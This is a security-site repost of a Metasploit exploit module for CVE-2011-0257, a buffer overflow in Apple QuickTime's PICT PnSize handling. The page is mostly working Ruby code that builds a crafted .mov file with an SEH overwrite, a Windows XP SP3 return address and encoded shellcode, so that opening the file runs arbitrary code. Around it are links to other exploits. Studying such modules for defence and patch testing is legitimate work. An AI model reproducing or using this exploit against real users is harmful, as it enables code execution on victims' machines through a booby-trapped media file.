首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple QuickTime PICT PnSize Buffer Overflow
来源:http://www.metasploit.com 作者:MC 发布时间:2011-09-05  

##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
    When opening a .mov file containing a specially crafted PnSize value, an attacker
    may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 13691 $',
   'References'     =>
    [
     [ 'CVE', '2011-0257' ],
     [ 'BID', '49144' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 8 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
   ], self.class)
 end

 def exploit

  trigger = rand_text_alpha_upper(3324)
  trigger[2302, 8]  = generate_seh_record(target.ret)
  trigger[2310, payload.encoded.size] = payload.encoded

  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
  fd = File.open(path, "rb" )
  sploit = fd.read(fd.stat.size)
  fd.close

  sploit << trigger

  file_create(sploit)
 end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BroadWin WebAccess Client Mult
·DragonflyBSD PortBind TCP (133
·DVD X Player 5.5 .plf PlayList
·Musiccut210p Local Buffer Over
·Linux Kernel 'perf_count_sw_cp
·Cerberus FTP Server 4.0.9.8 (R
·Citrix Gateway ActiveX Control
·BisonFTP Server v3.5 (MKD) Rem
·DVD X Player 5.5.0 Pro / Stand
·Free MP3 CD Ripper 1.1 Local B
·mp3 Kaydet Local Buffer Overfl
·Desktop Recorder Local Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved